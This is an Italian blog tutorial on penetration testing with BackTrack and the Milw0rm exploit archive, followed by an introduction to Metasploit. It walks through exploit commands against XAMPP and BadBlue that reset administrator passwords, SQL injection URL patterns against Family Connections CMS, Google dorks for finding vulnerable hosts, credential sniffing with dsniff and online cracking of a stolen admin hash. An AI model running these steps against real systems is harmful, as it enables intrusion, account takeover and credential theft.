BackTrack & Milw0rm Exploits Archive [+video]

milw0rm_cracker.jpg

***

Ciao a tutti,

eccoci arrivati a fare un altro dei nostri test che , personalmente , reputo tra i più interessanti.

Il tutorial che state per leggere comprende un pentesting , quello che andremo a fare in pratica è: come utilizzare la nostra BackTrack per fare un pentesting tramite l’ uso dell’ archivio degli exploits di milw0rm.com.

Per eseguire il nostro pentesting ci serviremo di:

  • L’ Archivio degli Exploits di Milw0rm.
  • nMap , per la scansione con opzioni per il fingerprinting.
  • Dsniff , esclusivamente per lo sniffing delle credenziali da localhost.

***

Ci tengo a dire che in questo tutorial non è stato fatto danno ad alcuno , tutti si svolge nella mia LAN . Ho provato a chiedere l’ autorizzazione a vari sysadmin , ma dopo aver upgradado le loro cosette non mi hanno nemmeno risposto… ….0 su 9.

Altra cosa importrante che mi sento di aggiungere è di ringraziare: KaB0T per la disponibilità ed  EikaF , senza il quale avremmo fatto un altro video lento ed incasinato , anche se da questo punto di vista dobbiamo ancora migliorare credo che si veda la differenza “in meglio” nei confronti dei video precedenti.

***

tutto il tutorial è referente interamente al video che abbiamo fatto , dal nome

“BackTrack & Milw0rm Exploits Archive” , naturalmente presente nella pagina /video.

è stato girato interamente con Fluxbox , ma le sezioni che io uso per Fluxbox sono identiche a quelle impostate di default in BackTrack per KDE , quindi non cambia nulla…

…Il video è scaricabile da Quì.

***

Innanzitutto voglio fare delle piccole precisazioni:

Il pc nella mia LAN ha un multiboot con: WinServer-2003.spk2-(FamilyConnection-CMS)- , WinServer-2000.spk3-(-XAMPP)- , Windows Xp spk2-(BadBlue-WebServerFileSharing)-.

Sono stati usati in tutto 3 exploits , per altrettante demo nel video.

Uno degli exploits è un exploit scritto da rGod e diretto verso uno Xampp… , (-nel video ultima demo-) , …cos’é uno Xampp?

lo Xampp è un “aggregato” di webserver e database , con tanto di interprete PHP , in pratica con lo xampp ho instalato sul sistema , poi preso come “vittima” , il webserver Apache , il database MySql e l’interprete PHP , per saperne di più potete darvi una leggerissima letta alla nostra pagina /Inf0-[IT]

Un altro exploit , (-nel video seconda demo-) , (scritto dal CWH Underground Hacking Team) , invece è diretto contro un CMS , il FamilyConnection CMS , una piattaforma tipo WordPress , solo che viene usata molto fra community.

L’ altro exploit , (-nel video prima demo-) , (scritto da J.Cervini su un Bug scoperto da L.Auriemma) , è diretto invece verso un webserver , il BadBlue. Il BadBlue è un semplice webserver utilizzato per il filesharing tra conoscenti , installandosi sul proprio sistema il BadBlue si possono in pratica condividere files di tutti i tipi.

tutti questi exploits utilizzati sono naturalmente corrispondenti ad una specifica versione dei corrispettivi server , CMS , applicazioni eccetera…

***

Ma facciamo una breve descrizione di cio che stiamo per fare…

Il team di remote-exploit.org , ha pensato bene di inserie un tool da riga di comando che permetta a tutti gli user di BackTrack di avere a disposizione , (anche OFF-Line) , un archivio di exploits per effettuare , in ogni situazione , un pentesting con il massimo grado di efficacia e lo ha fatto inserendo in BackTrack l’ archivio exploits di Milw0rm.

Milw0rm è un sito che raccoglie centinaia di Exploit & Shellcodes , scritti in vari tipi di linguaggi di programmazione e per tutti i tipi di piattaforme ed applicazioni , web e non.

[installazione Archivio per la BackTrack3.final]

Fino alla versione 3.beta della BackTrack un archivio degli exploits di milw0rm era inserito da installazione , dalla 3.final no , ma basta installarselo tramite Fast-Track , (tool multifunzione di cui scriveremo a breve…), quindi:

KdeStartMenù –> BackTrack –> Penetration –> Fast-Track ,

dal menù principale di Fast-Track scegliete la modalità “interactive“:

bt~# ./fast-track.py -i

In questo modo otterrete un altro menù , scegliete l’ opzione 1 , quindi la 4 e vi si installerà l’ archivio milw0rm. con lo script per l’ UPdate.

***

Fast-Track Updates

Enter a number to update

1. Update Fast-Track
2. Metasploit 3 Update
3. Aircrack-NG Update
4. Milw0rm Update
5. Nikto Plugin Update
6. W3AF Update
7. SQLMap Update
8. Installation Menu
9. Update Everything
10. Return to Main Menu

Enter number:

***

Oltre a Milw0rm ci sono molti altri siti che raccolgono , ed hanno un proprio archivio di exploits e di shellcodes , ma visto che tratteremo l’ uso di un archivio già presente in BackTrack , ( o almeno installabile – per la 3.final ) , descriveremo ed effettueremo un pentesting con l’ archivio di Milw0rm.

È possibile trovare sul sito Milw0rm materiale quali:  documenti , videotutorial , withepaper , il password cracker , un dizionario , ed è possibile inoltre ottenere tramite download lo stesso archivio degli exploits.

Una piccola , ma molto comoda , utility che Milw0rm offre è l’ estensione per Firefox che abilita la ricerca sullo stesso sito , volendo l’ opzione è disponibile quì.

Milw0rm è un sito che , insieme ad altri quali , solo per fare un esempio , SecurityReasonSecurity Focus , Packet Storm , Vulnerability Assestament , Securiteam …eccetera , ottiene nuovi exploits in maniera abbastanza “lesta” , tutti gli amministratori di sistemi traggono importanti informazioni da milw0rm , personalmente non credo che chiunque voglia essere al passo con la scoperta di nuove vulnerabilità possa fare a meno di passare per un sito come Milw0rm.

Non posso però evitare di dire che non tutte le vulnerabilità vengono rilevate ; che non tutte quelle rilevate vengono rivelate e che non si può essere MAI certi al 100% di conoscere tutte le vulnerabilità , è una cosa impossibile , ma tenersi aggiornati periodicamente è una cosa fondamentale , farlo tramite un sito di exploit pubblici come quelli che vi ho appena elencato è sicuramente un ottimo inizio.

Gli exploit che non sono ancora stati rivelati , che prendono il nome di 0day , sono quelli che possono causare più problemi di tutti , visto che la loro effettiva funzione viene scoperta a danno già fatto.

Va detto comunque che ci sono anche 0day che vengono rivelati direttamente dai siti che vi ho citato sopra , ma questa è una cosa che dipende da coloro che li rendono pubblici.

Fatte queste dovute premesse credo sia giusto scrivere qualcosa anche a riguardo degli exploits , almeno per rendere l’ idea a tutti di quello che stiamo facendo.

Un exploit è un programma , script , che permette di sfruttare delle vulnerabilità insite in applicazioni , programmi di varia natura e funzione , database o anche una semplice pagina web e che ci permette di poter eseguire sul sistema preso come obbiettivo dell’ attacco , del codice “maligno” , dannoso , cosa che normalmente non è possibile fare. L’ exploit , inteso come programma , o script , può rappresentare anche una stringa unica , come ad esempio nel caso dell’ Sql-Injection , basta andare su Milw0rm per rendersene conto.

Un exploit può essere scritto in vari tipi di linguaggii di programmazione , dal C al python , dal Php al Perl e così via… …e molte volte necessitano di compilazione.

Di seguito elencherò alcuni tipi di attacco , ma lo farò seguendo il metodo che ci interessa in questo tutorial , quindi secondo la suddivisione dell’ archivio degli exploits di milw0rm in rete , sullo stesso sito milw0rm , oppure secondo l’ archivio in BackTrack.

[UPdate Milw0rm Archive]

Facciamo , come bisognerebbe fare ogni qualvolta si intende eseguire un test di penetrazione tramite degli exploits , un UPdate dell’ archivio degli Exploits di Milw0rm , andiamo quindi in:

KdeStart –> BackTrack –-> Penetration –-> Milw0rmExploitArchive-> “…” , e da quì selezioniamo:Update Milw0rm Archive, in questo modo ci si aprirà una shell che automaticamente effettuerà l’ UPdate , otteniamo così tutto l’ archivio aggiornato degli exploits da milw0rm.com.

[Ricerca exploits]

Gli exploits che abbiamo ottenuto tramite il nostro UPdate si trovano nella seguente directory:

/pentest/exploits/milw0rm/ “………”

Ora , appena terminata la procedura di UPdate , andiamo nella directory indicata sopra direttamente da Konsole , con xTerm oppure con Konqueror , da quì possiamo vedere che nella directory ~/Milw0rm/ sono contenute altre subdirectory , ognuna identifica una serie di exploits equivalenti a determinati tipi di piattaforme …platforms , o porte …rport.

Dalle subdirectory in ~/platforms/… windows , unix , solaris …eccetera si dividono poi in attacchi da remote o local.

***

Grazie ad una novità di ./str0ke , (admin di milw0rm.com) , che ha creato una lista di exploits appositamente per BackTrack , (dal nome appunto “sploitlist-bt.txt) , il metodo di ricerca per gli exploits che si trovano all’ interno dell’ archivio Milw0rm in BackTrack , si esegue tramite il comando grep , sempre da shell e naturalmente all’ interno della directory che contiene le liste di exploits in formato *.txt , una dal nome sploitlist.txt e l’ altro sploitlist-bt.txt

In questo modo , se ci serve ad esempio un exploit per il Vista , ci basterà dare il comando:

bt~# grep Vista sploitlist-bt.txt

e ci verranno restituite le subdirectory con gli exploits disponibili.

Per fare un semplice esempio , nel nostro caso , trattandosi per quanto riguarda il pentesting contro il sistema con Windows XP.professional , del webserver BadBlue andrò dapprima nella directory corretta e poi cercherò con il comando grep gli exploits disponibili , nel modo seguente:

bt ~# cd /pentest/exploits/milw0rm/

bt milw0rm # grep BadBlue sploitlist-bt.txt

..ed ecco il risultato ottenuto.

***

./platforms/windows/remote/845.c BadBlue 2.5 Easy File Sharing Remote Buffer Overflow
./platforms/windows/remote/847.cpp BadBlue 2.55 Web Server Remote Buffer Overflow
./platforms/windows/remote/4715.txt BadBlue <= 2.72b Multiple Remote Vulnerabilities
./platforms/windows/remote/4784.pl BadBlue 2.72 PassThru Remote Buffer Overflow Exploit
./rport/80/845.c BadBlue 2.5 Easy File Sharing Remote Buffer Overflow
./rport/80/847.cpp BadBlue 2.55 Web Server Remote Buffer Overflow
./rport/80/4784.pl BadBlue 2.72 PassThru Remote Buffer Overflow Exploit

***

[Attacco con Exploits]

Arrivati ai vari tipi di attacco facciamone , come è giusto , una brevissima descrizione fatta secondo le principali sigle su milw0rm , ovvero: DoS-PoC , Web-App , Shellcode , Local e Remote

[Attacco DoS e DDoS]:

La sigla DoS sta a significare Denial of Service , e la sigla DDos sta invece per Distribuite-Denial of Service.

Come dicono le stesse sigle , il successo di questo tipo di attacco sta nel diniego del servizio , distribuito nel secondo caso , (DDoS) , singolo nel primo.

Queste parole in stile “traduzione” , dovrebbero rendere già l’idea del significato di un attacco DoS oppure DDoS , il suo funzionamento sta nel far arrivare al sistema vittima un attacco , o un insieme di attacchi , che rendono inaccessibile il sistema ; ma come può avvenire ciò?

La risposta è facile: un sito , che si raggiunge con una connessione ad internet , può esserci negato quando ad esempio siamo senza banda , senza linea praticamente , e saturare la banda a disposizione del sistema potrebbe essere quindi già un metodo per effetuare un DoS. Un attacco alla banda di un sistema potrebbe avvenire ad esempio tramite un eccessivo numero di richieste di accesso , ed il sistema , se non preparato , non potrà che andare fuori uso.

È ancora oggi famoso ciò che accadde nel Febraio del 2000 , quando al sistema di Yahoo! venne sferrato un attacco di tipo DDoS , e rimase inaccessibile per delle ore. L’ attacco sferrato partì da centinaia di host in giro per la rete che a sua volta furono violati precedentemente.(…Tahnx! to OpenSkills)

Il sistema di attacco DoS non è compromettente , è facile capire che se viene effettuato un DoS tramite la saturazione di una banda , una volta che la stessa tornerà attiva i problemi svaniranno…. ….almeno fino al prossimo attacco (!?), ma non è comunque una cosa che compromette il sistema.

[La sigla PoC]:

La sigla PoC sta a significare “Proof of concept” , abbozzo o progetto da terminare , inserita con lo scopo di dimostrare la fondatezza di un determinato progetto. Negli elenchi degli exploits sul sito milw0rm.com , la sigla PoC viene riportata quando coloro che scoprono il bug e ne scrivono successivamente l’ exploit corrispondente , mostrano con delle spiegazioni l’ eseguibilità del loro lavoro.

breve esempio:

nell’ ultima demo del videotutorial si esegue un attacco verso uno Xampp , l’ exploit come già detto scritto da rGod , contiene commentata una serie di stringhe che ne spiegano l’ efficacia , questo il contenuto del PoC nell’ exploit ./3738.php di rGod

***

mssql_connect() function is vulnerable to buffer overflow and
the host argument is totally unchecked. Also this shows a vulnerabilty in
ADODB library (which is in the include path, inside PEAR folder) in the
Connect method .

If you say that this should be not used for production purpose or
exposed to the outside world, try theese google dorks:

intitle:XAMPP intitle:windows intitle:version
intitle:XAMPP intitle:version intitle:1.6.0a +windows

note: I could use the INTO OUTFILE method through sql injection
to export some shell inside the /htdocs folder because we have FILE
privilege, but we have  magic_quotes_gpc on here. This is instead
possbile through the PhpMyAdmin default user/password.
note ii: PHP version is 5.2.1
note iii: bof is possible because mssql extension is enabled
by default in php.ini
*/

***

[Attacco in local] :

L’ attacco in local è quell’ attacco che si svolge all’ interno di una rete indipendende , anche se non del tutto , o si ha già comunque un certo accesso alla rete stessa. Un esempio può essere quello di fare dello sniffing nella propria LAN oppure acquisire i privilegi di amministratore del sistema da utente semplice. Un esempio di sniffing può essere quello che ho descritto nell’ esempio fatto con Ettercap e che dimostra appunto come poter fare “sniffing” di username e password all’ interno di una LAN.

Gli attacchi in local sono però di varia natura , anche se la maggiorparte , vista la questione di permessi , sono effettuati su sistemi M$Windows , ce ne sono anche molti per sistemi UNIX-based , l’ exploit n° 5052 ,(quando parlo di numeri , mi rivolgo al numero occupato dall’ exploit all’ interno dell’ archivio milw0rm), infatti è proprio propenso al local root exploitation su sistemi GNU/Linux.

[Attacco in remoto]:

L’attacco in remoto è quella tipologia di attacco che si effettua da una postazione totalmente estranea all’ obbiettivo , che si trova quindi su di un altro dominio , e di cui non si ha nessun permesso d’ accesso.

È logico capire che ogni tipo di attacco può o no essere fine a se stesso , oppure può essere utilizzato in concomitanza con altre tipologie di attacco.

***

In questo caso ho elencato esclusivamente alcuni tipi di attacco , solo per rendere l’ idea , se si và sul sito milw0rm.com si possono trovare sigle del tipo RFI , LFI , Loca Root Exploits eccetera… , a tutte queste descrizioni sia giusto rimandarvi al portale informatico di Wikipedia.

***

Andiamo avanti con il tutorial , il primo pentesting , (terza demo nel video) ,  viene eseguito sullo Xampp , dalla directory esatta , come sopra eseguo da shell il comando:

bt milw0rm # grep XAMPP sploitlist-bt.txt

ed eccone il risultato:

./platforms/windows/remote/3738.php XAMPP for Windows <= 1.6.0a mssql_connect() Remote BoF Exploit

./platforms/windows/local/4325.php XAMPP for Windows 1.6.3a Local Privilege Escalation Exploit
./rport/80/3738.php XAMPP for Windows <= 1.6.0a mssql_connect() Remote BoF Exploit

***

L’ exploit che useremo è il 3738.php , e per essere eseguito basta dare un occhiata alla matrice stessa dell’ explot , basta dare da shell il comando come eseguibile preceduto dall’ interprete quindi:

php ./3738.php

il tutto naturalmente dopo essere entrati nelle directory elencate dal comando grep.

bt milw0rm # cd platforms/windows/remote/

Con il comando appena eseguito ci verrà elencata tutta la “matrice” dell’ exploit , chi l’ ha scritto , la piattaforma , il bug e in che modo deve essere eseguito , e infatti ecco il risultato…

***

bt remote # php ./3738.php

—————————————————————————
XAMPP for Windows <= 1.6.0a adodb.php/mssql_connect() remote buffer overflow
proof-of-concept exploit
seh overwrite method / 2000 sp3 version
mail: retrog at alice dot it
site: http://retrogod.altervista.org
—————————————————————————

—————————————————————————
Usage: php ./3738.php host cmd OPTIONS
host: target server (ip/hostname)
cmd: a shell command
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
-S only send the second packet
Example:
php ./3738.php localhost VER -P1.1.1.1:80
php ./3738.php localhost NET USER sun tzu /ADD ^&^& NET LOCALGROUP
Administrators /ADD sun -p81 -S
—————————————————————————

***

Come possiamo vedere dalla lista di informazioni che ci viene restituita all’ interno della nostra shell , l’ exploit per essere eseguito necessita di alcune informazioni. Ogni exploit per essere eseguito necessita di informazioni diverse , ci sono exploit compilati e da compilare , e tutti sono eseguibili con successo , naturalmente , solo se il sistema vittima è affetto dalla vulnerabilità che l’ exploit andrà ad usare lo Xampp deve essere alla versione <=1.6.0a , rigorosamente , come possiamo leggere dalla matrice stessa , per Windows.

Vediamo ora di eseguire l’ exploit con i dovuti comandi…

Un esempio che ci viene mostrato dall’ exploit è il seguente:

php ./3738.php localhost VER -P1.1.1.1:80

Noi , avendo un server su cui provarlo , daremo il seguente comando da konsole:

php ./3738.php 29.230.6.73 net user Administrator komintern

dove:. net user Administrator komintern è il comando che verrà eseguito sul server dopo il BoF , ovvero il cambio della password dalla precedente a komintern sul sistema del mio vicino di casa con il quale mi trovo nella stessa Lan…comando che per funzionare , questo va detto , mi ha costretto a modificare varie opzioni nel database e vari files di configurazione del PHP , php.ini eccetera.

Una volta cambiata la password dell’ Administrator , apro una sessione Telnet e mi connetto al Server con le credenziali create , per mostrarle ho fatto un semplicissimo sniffing con dsniff sulla mia stessa interfaccia di rete , con il comando:

bt remote # dsniff -i ath0

che naturalmente ha funzionato alla perfezione mostrandomi le credenziali di accesso al server ovvero:

—————–
06/30/08 21:32:12 tcp 29.230.6.74.42449 -> 29.230.6.73.23 (telnet)

KominternAdministrator
komintern

Aperta la sessione Telnet sono stato in grado di inetragire con tutto il sistema , la maggiorparte delle volte infatti se il servizio Telnet è abilitato , solo l’ Administrator può interagire con il Desktop del sistema , non si lascia interagire un utente “normale” o anche del gruppo Administrators… …ma questo di solito , poi ognuno configura la propria rete come vuole.

Il giallo sta a rappresentare un semplice errore di sniffing di dsniff , perchè volendo copiare la parola komintern senza doverla digitare in seguito , e come potete vedere dal video lo username è stato unicamente Administrator , provando a dare meglio l’ idea dsniff ha raccolto le credenziali in modo totale , senza che poi il login abbia o no avuto successo.

È ovvio che ho preso il caso dello xampp perché volevo realizzarci un video e fare una piccola dimostrazione , ma se ci saremmo dovuti occupare di fare pentesting su di un server esterno le cose non sarebbero cambiate di molto , ad ogni versione di MySQL , di PHP di CMS eccetera , corrispondono delle vulnerabilità e degli exploits , e con l’ archivio di Milw0rm nella nostra BackTrack , abbiamo la possibilità di effettuare tutti i test che vogliamo. La maggiorparte delle volte che si sente parlare di siti che pubblicano exploits in “malomodo” , succede per il semplice fatto che chi fa danni , al 99% dei casi non va a scegliersi un obbiettivo da attaccare , che sarebbe a mio modo di vedere la cosa , sempre male ma che dimostra capacità , ma lo fà andando in giro per dork , ovvero trovare in google tutti i siti vulnerabili per poi prendere il primo che capita e fare il danno… …cosa che , a quanto pare , rende più famosi , ma molto semplice ed inutile.

***

Andiamo adesso ad effettuare il nostro pentesting contro un sistema che ha come OS WindowsXpPro , nel video la prima demo.

facciamo una scansione delle porte tramite nMap , e vediamone il risultato…

***

bt ~ # nmap -sS -sV -T Aggressive 29.230.6.73 -v

Starting Nmap 4.50 ( http://insecure.org ) at 2008-05-16 11:18 GMT
Initiating ARP Ping Scan at 11:18
Scanning 29.230.6.73 [1 port]
Completed ARP Ping Scan at 11:18, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:18
Completed Parallel DNS resolution of 1 host. at 11:18, 0.05s elapsed
Initiating SYN Stealth Scan at 11:18
Scanning 29.230.6.73 [1711 ports]
Discovered open port 81/tcp on 29.230.6.73
Discovered open port 139/tcp on 29.230.6.73
Discovered open port 912/tcp on 29.230.6.73
Discovered open port 445/tcp on 29.230.6.73
Discovered open port 135/tcp on 29.230.6.73
Discovered open port 4662/tcp on 29.230.6.73
Completed SYN Stealth Scan at 11:19, 7.24s elapsed (1711 total ports)
Initiating Service scan at 11:19
Scanning 6 services on 29.230.6.73
Completed Service scan at 11:19, 11.07s elapsed (6 services on 1 host)
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 11:19
Completed SCRIPT ENGINE at 11:19, 0.21s elapsed
Host 29.230.6.73 appears to be up … good.
Interesting ports on 29.230.6.73:
Not shown: 1705 filtered ports
PORT STATE SERVICE VERSION
81/tcp open http BadBlue httpd 2.7
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
912/tcp open ftp vsftpd or WU-FTPD
4662/tcp open edonkey?
MAC Address: 00:13:8F:EB:1D:DD (Asiarock Incorporation)
Service Info: OS: Windows

Host script results:
|_ Discover OS Version over NetBIOS and SMB: Windows XP

Read data files from: /usr/local/share/nmap
Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.845 seconds
Raw packets sent: 3417 (150.346KB) | Rcvd: 7 (318B)

***

bene , come possiamo vedere sul sistema “vittima” ci sono , oltre a delle porte aperte che potrebbero essere sfruttate in altro modo , delle informazioni che possono esserci molto preziose , infatti dalle ultime righe possiamo benissimo leggere:

***

PORT STATE SERVICE VERSION
81/tcp open http BadBlue httpd 2.7

***

Sulla porta 80 quindi c’é in esecuzione il BadBlue , alla versione 2.7.

Il BadBlue è un webserver che permette di poter condividere , pubblicamente o no , tutti i files , documenti , foto eccetera.

Il BadBlue a questa versione , che nMap ci ha restituito , contiene però una vulnerabilità che è molto grave come falla e ci permette di penetrare il sistema e dopo aver causato un BufferOverFlow ci permette anche di ottenere una reverse shell , i comandi , shellcode compreso , sono già tutti contenuti all’ interno dell’ exploit.

potete vedere benissimo dal video che non solo sono penetrato , grazie all’ exploit , all’ interno del sistema , ma ho anche cambiato la password dell’ amministratore del sistema stesso con il seguente comando:

net user KaB0T brigante

C:\> net user KaB0T brigante

(KaB0T è il nome di un mio vicino di casa con il quale mi condivido spesso la connessione…)

Il terzo ed ultimo esempio di pentesting , nel video seconda demo , con exploits targati milw0rm l’ ho fatto con una semplicissima SQL-Injection… …semplicissima per chi la usa , come nel nostro caso , ma per realizzare l’ exploit non è così semplice.

La SQL-Injection che ho usato per questo test va a colpire una vulnerabilità insita nel CMS-Family Connection , alla versione 1.4.

sempre con la stessa procedura , mi sono spostato nella directory giusta…

bt ~ # cd /pentest/exploits/milw0rm/

ed ho raccolto i possibili risultati dall’ archivio con il comando grep:

bt milw0rm # grep Family sploitlist-bt.txt

e questo è stato il risultato:

./platforms/php/remote/892.txt phpMyFamily <= 1.4.0 Admin Bypass SQL Injection
./platforms/php/remote/1208.pl phpMyFamily <= 1.4.0 SQL Injection Exploit
./platforms/php/remote/5811.txt Family Connections CMS 1.4 Multiple Remote SQL Injection Vulnerability

***

Ottenuto il risultato per il FamilyConnection-CMS cui mi trovavo davanti , sono andato nella directory giusta:

bt milw0rm # cd platforms/php/remote/

dopodiché essendo un file *.txt potevo aprirlo come volevo , con nano , vim , kate , visto che non finisce in shell come i precedenti due esempi l’ ho aperto con lo Scintilla… …lo SciTE , editor adattabile a molti linguaggi di progrmmaione compreso in BackTrack di prima installazione , quindi:

bt remote # SciTE 5811.txt

aperto il file *.txt ho letto le seguenti indicazioni:

***

First you must register for access to user section then SQL Injection Exploit !!!

———-
Exploits
———-
[+] /addressbook.php?address=<SQL Injection>
[+] /familynews.php?getnews=<SQL Injection>&newsid=2
[+] /home.php?action=results&poll_id=<SQL Injection>

***

dopodiché ho eseguito l’ Injection ed ho ottenuto le credenziali di accesso dell’ amministratore del sito , ovvero:

***

admin : 6970ff8bb08f3c1bde2f49c608ac4b21

***

Una volta preso l hash dell’ admin , vado direttamente sul sito di milw0rm.com sul link cracker e inserisco l hash selezionando naturalmente come opzione di criptatura md5 , aspetto non molto , visto che già l’ avevo fatta prima l’ operazione e ottengo la password con la quale in seguito effettuo l’ accesso al CMS come amministratore.

Naturalmente avrei potuto fare anche una prova con John The Ripper o altre soluzioni OFF-Line inserite in BackTrack , ma parlando dell’ archivio degli exploits di milw0rm.com ho ritenuto migliore soluzione lavorare con lo stesso cracker di milw0rm , oltretutto in questo modo si contribuisce ad aggiungere un altro hash crackato , sperando sempre che non finisca nelle mani sbagliate.

Questa è solo una semplicissima dimostrazione di come è possibile fare pentesting con estrema facilità e nel minor tempo possibile , del resto da un’ accoppiata come Milw0rm & BackTrack ci si può aspettare solo il top.

Spero di essere stato abbastanza chiaro , per ogni cosa nella pagina /video c’é il videotutorial di questo How-To… per ogni chiarimento siamo in canale e in mailinglist.

I commenti quì nel blog cortesemente , usateli come comnmenti , non come help-desk.

Ciao a tutti e alla prossima.

Metasploit Framework

resource.png

 

Ciao a tutti,

eccoci arrivati alla descrizione di uno strumento che ha praticamente rivoluzionato il mondo della sicurezza informatica , stiamo parlando del progetto “MetaSploitFramework“.

Partiamo però dalla teoria , in modo che tutti possano rendersi conto di quello che sto per descrivervi…

Cos’é il progetto Metasploit?

Metasploit è un progetto nato dall’ unione di più persone appassionate di informatica , di sicurezza e di programmazione , che si sono dedicate a questo progetto per fare in modo che tutti gli amministratori di siti , di interi network , e di importanti o meno portali informatici , possano , tramite l’ uso del framework , proteggersi da malintenzionati , che in un mondo come quello dell’informatica , non mancano mai.

Tramite il progetto metasploit framework , tutti gli amministratori di reti , possono utilizzare e scrivere exploits e shellcode , (o payloads) , e testare facilmente la loro sicurezza in modo da rendersi conto o meno dei vari rischi che possono affliggere le loro reti/applicazioni.

Metasploit framework , vuole quindi essere un progetto che , tramite nuove tecniche di exploit , mira al rafforzamento della sicurezza informatica in generale , fornendo a tutti , nuovi e facilitati strumenti per il pentesting , utilizzabili da chiunque e soprattutto opensource.

Da quello che ho appena detto è facile intendere che se un amministratore si tiene aggiornato tramite questo framework , sarà difficile incappare in scriptkiddies e malintenzionati vari.

Gli strumenti forniti dall’ intero framework sono molti , basta recarsi a questa pagina per vederli tutti , noi naturalmente useremo gli strumenti inseriti in backtrack.

Sottolineare la questione opensource è fondamentale per comprendere il progetto MSF , per il semplice fatto non è l’ unico strumento di questo tipo , ma essendo l’unico opensource , è secondo me , l’unico degno di nota.

Tramite la raccolta , sempre aggiornata di exploit , MSF fornisce uno strumento eccezionale e che , essendo opensource , può arrivare alle porte di tutti gli ineterssati , e data la sua importanza ed efficacia , non poteva mancare in una security-distro come la backtrack , che infatti fornisce di default MSF in tutte le versioni , fin dalla nascita del progetto.

Metasploitframework fornisce una vasta gamma di exploit , che possono sfruttare vulnerabilità che affliggono reti , con tutti i vari tipi di protocolli dal SAMBA alle VPN, database basati su MySQL fino agli Oracle , server Microsoft come anche Apache , Pc che girano con Windows (tutte le versioni di Windows dalla 95 all’ XP) , come anche UNIX Solaris e LINUX , e tantissime applicazioni , dai browser come Firefox fino ad arrivare a Internet Explorer , da RealVNC fino al messanger di Yahoo ; insomma Metasploitframework è un grande progetto che se ben usufruito può dare risultati di protezione eccezionali. I più assidui lettori di advertising e securitynews , già si vedono arrivare advertising con relativi exploits per il pentesting della propria rete , usufruibile appunto tramite il framework Metasploit.

MSF è utilizzabile da diveri O.S. , dai sistemi basati su GNU/Linux , fino ad arrivare a BSD e Windows (quì vi segnalo per coloro che usano sistemi Microsoft una buona guida ) , e parlo sia tramite Shell , (o prompt per gli utenti Windows) , fino all’ utilizzo dell’ interfaccia grafica tramite interprete e librerie Ruby installate.

Nella backtrack attualmente , sono fornite due versioni del progetto MSF , la versione 2 e la 3.

La versione 2 è stata attualmente abbandonata , per far posto alla versione 3 , ma vediamo un pò più da vicino quello che può essere l’ utilizzo del framework.

Innanzitutto voglio dire che la disponibilità degli amministratori di MSF , fornisce a tutti gli strumenti per comprendere il funzionamento del loro progetto , ci sono sul sito ufficiale di MSF tutti gli strumenti necessari per utilizzare il MSF che agli utenti , di backtrack e non , si presenta in 4 maniere di diverso utilizzo :

La MSFconsole , che fornisce appunto l’utilizzo del framework tramite konsole-Terminale-Shell , chiamatela come volete , e che secondo me , data la sua logica e stabilità , è la migliore soluzione , e devo dire che l’impostazione è anche avvastanza userfriendly.

Il MSFweb , che fornisce a tutti coloro che hanno problemi di adeguamento a konsole e terminali , uno strumento tramite interfaccia web , che può per alcuni risultare più familiare , e che è raggiungibile sulla porta 55555 del proprio localhost , praticamente all’indirizzo http://127.0.0.1/55555/

Il MSFgui , ovvero il MSF con interfaccia grafica , (attualmente non utilizzabile in backtrack3beta per la mancanza di librerie , la gnome-gtk2 a me ha dato problemi e non sono riuscito ad avviare MSF anche con interprete Ruby e altre librerie installate).

Il MSFcli , ovvero l’utilizzo di Metasploitframework in modalità konsole , senza l’interattività che invece ha MSFconsole , ma che permette di inviare l’exploit tramite il comando in una sola riga.

Va detto che in backtrack sono inseriti di default altri tools che hanno un metodo di lavoro che usufruisce del Metasploitframework , come Fast-Track e l’ Autopowning , oppure come il nuovo progetto blue-track , ma sono secondo me argomenti che vanno trattati singolarmente e dopo la totale comprensione di MSF.

 

metasploit_logos_main.gif

Come funziona un attacco con Metasploitframework?

L’ attacco tramite il MetaSloitFramework , va eseguito effettuando una serie di passi ,(quì una DEMO online ) che sono:

1) – Individuazione del sistema vittima tramite scansione e relativa scelta e scansione dell’ exploit per la vulnerabilità individuata.

2) – Scelta e configurazione del payload (o shellcode) , da eseguire dopo l’ eventuale successo ottenuto dall’ exploit.

3) – Exploitation , invio dell’ exploit.

Questi sono i processi fondamentali da eseguire , ma non gli unici , comunque vediamoli singolarmente.

L’ individuazione del sistema vittima viene eseguita naturalmente tramite vari strumenti , uno di questi può essere ad esempio uno scanner , e quale scanner più potente , leggero e dettagliato , da inserire all’ interno di un framework se non l’ nmap.

L’ nMap è inserito all’ interno di MSF , e può essere facilmente richiamato tramite il comando nmap , e vedremo che subito ci verranno elencate tutte le opzioni dello scanning , che è solo uno dei tool usufruibili nel framework metasploit.

Una volta individuato il sistema vittima , con tutte le applicazioni e vulnerabilità annesse , bisogna scegliere un exploit.

******************

I tutorial che vengono pubblicati su questo blog , (speriamo di poterlo chiamare presto sito…) , sono tutti testati , e siccome è stato fatto da noi un video a riguardo di un attacco con l’ utilizzo del Metasploitframework , baserò questo articolo/Tutorial sul video che abbiamo fatto , e che potete trovare naturalmente nell’ apposita sezione dei video.

******************

Per lavorare e provare il Metasploitframework , ho selezionato il Framework versione 2 , da:

KDEmenu–>backtrack—>Penetration–>Metasploit Exploitation Framework–>Framework Version 2–>MSFconsole
Per scegliere l’ exploit , ho eseguito il comando che mostra tutti gli exploit disponibili , show exploits.

Riporto solo alcuni screenshots per comodità di spazio…

msf-2.pngmsf-2.pngmsf-3.pngmsf-4.png

Quì ho scelto di usare l’ exploit:“ie_vml_rectfill” , questo , già dal codice , è un exploit che sfrutta una vulnerbilità insita in Internet Explorer alla versione 6 , e che permette all’ attaccante di eseguire del codice sul host della vittima.

un exploit , dopo la scelta , deve essere inserito e configurato , e viene fatta questa operazione tramite il comando use , e come configurazione visto che ogni exploit vuole una configurazione diversa , per farla ho digitato il comando show options , il quale mostra tutte le opzioni necessarie all’ uso dell’ exploit selezionato , e gli obbiettivi/target , a cui l’ exploit può far capo con successo.

il comando che ho dato quindi è (rosso-comando-sistema / nero-comando-utente):

msf > use ie_vml_rectfill

dopodiché per vedere le opzioni di cui l’exploit necessita ho dato il comando show options:

msf ie_vml_rectfill > show options

Exploit and Payload Options
===========================

